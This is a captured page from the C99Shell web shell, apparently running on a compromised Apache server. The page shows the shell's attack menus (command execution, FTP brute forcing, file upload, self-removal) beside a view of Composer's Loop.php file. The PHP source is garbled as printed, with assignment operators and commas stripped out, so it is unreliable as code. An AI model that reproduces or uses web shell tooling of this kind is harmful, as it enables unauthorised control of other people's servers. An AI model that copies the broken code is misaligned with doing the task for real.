!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/Util/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Loop.php (3.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Util;

use 
React\Promise\Promise;
use 
Symfony\Component\Console\Helper\ProgressBar;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class Loop
{
    
/** @var HttpDownloader */
    
private $httpDownloader;
    
/** @var ProcessExecutor|null */
    
private $processExecutor;
    
/** @var Promise[][] */
    
private $currentPromises = array();
    
/** @var int */
    
private $waitIndex 0;

    public function 
__construct(HttpDownloader $httpDownloaderProcessExecutor $processExecutor null)
    {
        
$this->httpDownloader $httpDownloader;
        
$this->httpDownloader->enableAsync();

        
$this->processExecutor $processExecutor;
        if (
$this->processExecutor) {
            
$this->processExecutor->enableAsync();
        }
    }

    
/**
     * @return HttpDownloader
     */
    
public function getHttpDownloader()
    {
        return 
$this->httpDownloader;
    }

    
/**
     * @return ProcessExecutor|null
     */
    
public function getProcessExecutor()
    {
        return 
$this->processExecutor;
    }

    public function 
wait(array $promisesProgressBar $progress null)
    {
        
/** @var \Exception|null */
        
$uncaught null;

        
\React\Promise\all($promises)->then(
            function () {
            },
            function (
$e) use (&$uncaught) {
                
$uncaught $e;
            }
        );

        
// keep track of every group of promises that is waited on, so abortJobs can
        // cancel them all, even if wait() was called within a wait()
        
$waitIndex $this->waitIndex++;
        
$this->currentPromises[$waitIndex] = $promises;

        if (
$progress) {
            
$totalJobs 0;
            if (
$this->httpDownloader) {
                
$totalJobs += $this->httpDownloader->countActiveJobs();
            }
            if (
$this->processExecutor) {
                
$totalJobs += $this->processExecutor->countActiveJobs();
            }
            
$progress->start($totalJobs);
        }

        
$lastUpdate 0;
        while (
true) {
            
$activeJobs 0;

            if (
$this->httpDownloader) {
                
$activeJobs += $this->httpDownloader->countActiveJobs();
            }
            if (
$this->processExecutor) {
                
$activeJobs += $this->processExecutor->countActiveJobs();
            }

            if (
$progress && microtime(true) - $lastUpdate 0.1) {
                
$lastUpdate microtime(true);
                
$progress->setProgress($progress->getMaxSteps() - $activeJobs);
            }

            if (!
$activeJobs) {
                break;
            }
        }

        
// as we skip progress updates if they are too quick, make sure we do one last one here at 100%
        
if ($progress) {
            
$progress->setProgress($progress->getMaxSteps());
        }

        unset(
$this->currentPromises[$waitIndex]);
        if (
$uncaught) {
            throw 
$uncaught;
        }
    }

    public function 
abortJobs()
    {
        foreach (
$this->currentPromises as $promiseGroup) {
            foreach (
$promiseGroup as $promise) {
                
$promise->cancel();
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0112 ]--